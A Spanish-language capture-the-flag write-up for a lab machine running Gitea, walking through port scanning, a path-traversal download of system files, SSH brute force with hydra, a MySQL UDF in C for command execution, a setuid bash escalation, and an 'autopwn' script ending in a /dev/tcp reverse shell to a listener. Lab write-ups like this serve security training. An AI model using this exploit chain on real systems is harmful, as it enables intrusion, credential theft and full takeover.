> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/gitea-write-up-1.md).

# Gitea write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/uQDHt2iMzo9L1aDj8l4b" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos en la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/l42KtRWBL6IMhucneg6O" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH), el 80 (HTTP) y el 3000 (HTTP). Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/P3fg1Wdweaj5kpczyE5e" alt=""><figcaption></figcaption></figure>

Como no encontramos nada interesante investigaremos el puerto `3000` ingresando la IP de la máquina víctima en el navegador junto al puerto `3000` (http\:/172.17.0.2:3000/).

<figure><img src="/files/DDZQcHdepHGj33NW0oH4" alt=""><figcaption></figcaption></figure>

Si ahora hacemos clic en `Registro` veremos lo siguiente:

<figure><img src="/files/CNGucwldbllYmqzErmSm" alt=""><figcaption></figcaption></figure>

Esto indica que la página está utilizando `http://admin.s3cr3tdir.dev.gitea.dl/` como `ROOT_URL`. Por lo tanto, agregaremos este dominio, junto con sus subdominios, al archivo `/etc/hosts` para que apunten a la dirección IP de la máquina víctima.

<figure><img src="/files/oFoC3QICleTa1ka4Mbvu" alt=""><figcaption></figcaption></figure>

Si ahora vamos a los repositorios de la página en la ruta <http://172.17.0.2:3000/explore/repos> observamos lo siguiente:

<figure><img src="/files/x7Ln7osxNsDX3m58LNey" alt=""><figcaption></figcaption></figure>

Observamos que el usuario `designer` ha subido varios repositorios. Al examinar el repositorio llamado `myapp`, encontramos varios archivos. Si analizamos el archivo `app.py`, veremos lo siguiente:

```python
from flask import Flask, request, render_template, send_file, redirect, url_for, flash
import os

app = Flask(__name__)
app.secret_key = "supersecretkey"

UPLOAD_FOLDER = "uploads"
if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)

app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        if "file" not in request.files:
            flash("No se ha seleccionado ningún archivo", "danger")
            return redirect(request.url)

        file = request.files["file"]

        if file.filename == "":
            flash("No se ha seleccionado ningún archivo", "danger")
            return redirect(request.url)

        file_path = os.path.join(app.config["UPLOAD_FOLDER"], file.filename)
        file.save(file_path)
        flash(f'Archivo "{file.filename}" subido correctamente.', "success")

    files = os.listdir(UPLOAD_FOLDER)
    return render_template("index.html", files=files)


@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get("filename")

    if not filename:
        flash("Se requiere un nombre de archivo", "danger")
        return redirect(url_for("index"))

    file_path = os.path.join(app.config["UPLOAD_FOLDER"], filename)

    if os.path.exists(file_path):
        return send_file(file_path, as_attachment=True)

    flash("Archivo no encontrado", "danger")
    return redirect(url_for("index"))


if __name__ == "__main__":
    app.run(debug=True)
```

<figure><img src="/files/chLx6DBs103na1JHTtWI" alt=""><figcaption></figcaption></figure>

Se trata de una aplicación desarrollada con Flask que define una ruta `/download` para la descarga de archivos, utilizando el parámetro `filename`. Sin embargo, esta funcionalidad es vulnerable a un ataque de **path traversal**, ya que no se realiza ninguna validación sobre la entrada proporcionada por el usuario. Esto permite acceder y descargar archivos sensibles del sistema. Si ahora ingresamos la ruta <http://gitea.dl> en el navegador observaremos lo siguiente:

<figure><img src="/files/KRz4gmqz9njJUtoROTP9" alt=""><figcaption></figcaption></figure>

Esto indica una posible credencial `admin:PassAdmin123-`, así que la guardaremos en un archivo. Además si ahora ingresamos `http://gitea.dl/download?filename=../../../../../etc/passwd` lo siguiente en el navegador veremos que se descarga el archivo sin problemas.

<figure><img src="/files/CQJhG7NiXrvVruTBpWMP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/iJ79flXp8Qhdu8iL8J0n" alt=""><figcaption></figcaption></figure>

Si volvemos a investigar los repositorios subidos, encontraremos también el repositorio `giteaInfo`, en el cual se encuentra el archivo `gitea_composed.xml`.

<figure><img src="/files/4hb3nC3EricxFg7CMhcP" alt=""><figcaption></figcaption></figure>

Observamos un archivo encargado de montar volúmenes, sin embargo, la linea `/opt/"INFO_FILE"` no tiene sentido, pero podría indicar que en el directorio /opt se encuentra un archivo llamado `info.txt` al tener en cuenta la línea `<volume>/home/designer/gitea:/data/info.txt</volume>`. Por lo que vamos a descargar el archivo usando la vulnerabilidad que usamos anteriormente.

```bash
http://gitea.dl/download?filename=../../../../../opt/info.txt
```

<figure><img src="/files/zUg6Hz4cI0sm94Z0ssnx" alt=""><figcaption></figcaption></figure>

Observamos que el archivo si existe y que además cuenta con varios usuarios y contraseñas. Así que vamos a convertir el archivo en un diccionario de contraseñas. Para ello primero ejecutaremos el siguiente comando para dejar solo las contraseñas:

```bash
sed -E 's/^user[0-9]+:([^-]+) -.*/\1/' info.txt | sed 's/ *$//' > pass.txt
```

<figure><img src="/files/OwtVsh7QVACSkvtifNby" alt=""><figcaption></figcaption></figure>

Una vez hecho esto, haremos un ataque de fuerza bruta al usuario `designer` por el servicio SSH usando el diccionario `pass.txt`. Para ello usaremos la herramienta llamada **hydra**.

```bash
hydra -l designer -P pass.txt ssh://172.17.0.2 -F -V -I -u -t 12
```

<figure><img src="/files/UevhpBJv7EbBRLMUk55U" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del usuario `designer` es `SuperSecurePassword123`. Así que vamos a acceder a la máquina víctima por el servicio SSH.

<figure><img src="/files/lQLSDOq7ejFwUmYLLPbu" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `ss -tuln`, el cual indica que el puerto 3306 (MySQL) está abierto de manera local.

<figure><img src="/files/FTbDk7WwPLfbgguZTlbs" alt=""><figcaption></figcaption></figure>

Por lo que vamos a intentar iniciar sesión como el usuario `admin` usando las credenciales que conseguimos en el login.

```bash
mysql -u admin -pPassAdmin123-
```

<figure><img src="/files/75dsqfoKZr4889vs0LmZ" alt=""><figcaption></figcaption></figure>

Contemplamos que hemos podido acceder como admin, así que lo que haremos ahora será crear una función con la que podamos ejecutar comandos. Para ello creamos el archivo `/tmp/script.c`, el cual contendrá lo siguiente:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mysql/mysql.h>

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message){
	if (args->arg_count == 1 && args->arg_type[0] == STRING_RESULT){
		return 0;
	}
	strcpy(message, "sys_exec() takes exactly one string argument.");
	return 1;
}

long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){
	if (args->args[0]){
	return system(args->args[0]);
	}
	return -1;
}

my_bool sys_exec_deinit(UDF_INIT *initid){
	return 0;
}
```

Ahora lo compilaremos ejecutando lo siguiente:

```bash
gcc -shared -o lib_mysqludf_sys.so -fPIC script.c -I/usr/include/mysql/ -L/usr/lib/ -lmariadbclient
```

Y moveremos el archivo compilado al directorio `/usr/lib/mysql/plugin/`.

```bash
mv lib_mysqludf_sys.so /usr/lib/mysql/plugin/lib_mysqludf_sys.so
```

Ahora volvemos a iniciar sesión a Mariadb como usuario `admin` y ejecutaremos lo siguiente:

```bash
mysql -u admin -pPassAdmin123-
```

```mysql
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
```

Ahora ya podremos ejecutar comando de la siguiente manera:

```bash
select sys_exec('chmod 4777 /bin/bash');
```

<figure><img src="/files/hyhE23fiqH6KTGdprvoO" alt=""><figcaption></figcaption></figure>

Observamos que devolvió el valor `0`, lo que indica que el comando fue ejecutado correctamente.

<figure><img src="/files/HgFjwP6FQm37g7Jzashu" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess

def crear_script_expect1():

    print("[+] Creando script1.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 2
spawn zsh
expect "└─$ "

send "ssh designer@172.17.0.2\r"

sleep 1

expect "password: "
send "SuperSecurePassword123\r"

sleep 1

expect "$ "
send { cat > /tmp/script.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mysql/mysql.h>

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message){
	if (args->arg_count == 1 && args->arg_type[0] == STRING_RESULT){
		return 0;
	}
	strcpy(message, "sys_exec() takes exactly one string argument.");
	return 1;
}

long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){
	if (args->args[0]){
	return system(args->args[0]);
	}
	return -1;
}

my_bool sys_exec_deinit(UDF_INIT *initid){
	return 0;
}
EOF}

sleep 1

expect "$ "
send "\r"

sleep 1

expect "$ "
send "gcc -shared -o lib_mysqludf_sys.so -fPIC /tmp/script.c -I/usr/include/mysql/ -L/usr/lib/ -lmariadbclient\r"

sleep 1

expect "$ "
send "mv lib_mysqludf_sys.so /usr/lib/mysql/plugin/lib_mysqludf_sys.so\r"

sleep 1

expect "$ "
send "mysql -u admin -pPassAdmin123-\r"

sleep 1

expect "$ "
send "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';\r"

sleep 1

expect "$ "
send "select sys_exec('chmod 4777 /bin/bash');\r"

sleep 1

expect "$ "
send "exit;\r"

sleep 1

expect "$ "
send {bash -c "bash -p -i >& /dev/tcp/172.17.0.1/4444 0>&1"}

sleep 1

expect "$ "
send "\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")

def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def main():

    crear_script_expect1()

    time.sleep(1)

    iniciar_escucha()

    time.sleep(1)

    os.system("nc -nlvvp 4444")

    os.system("rm script1.exp")

if __name__ == "__main__":

    main()
```
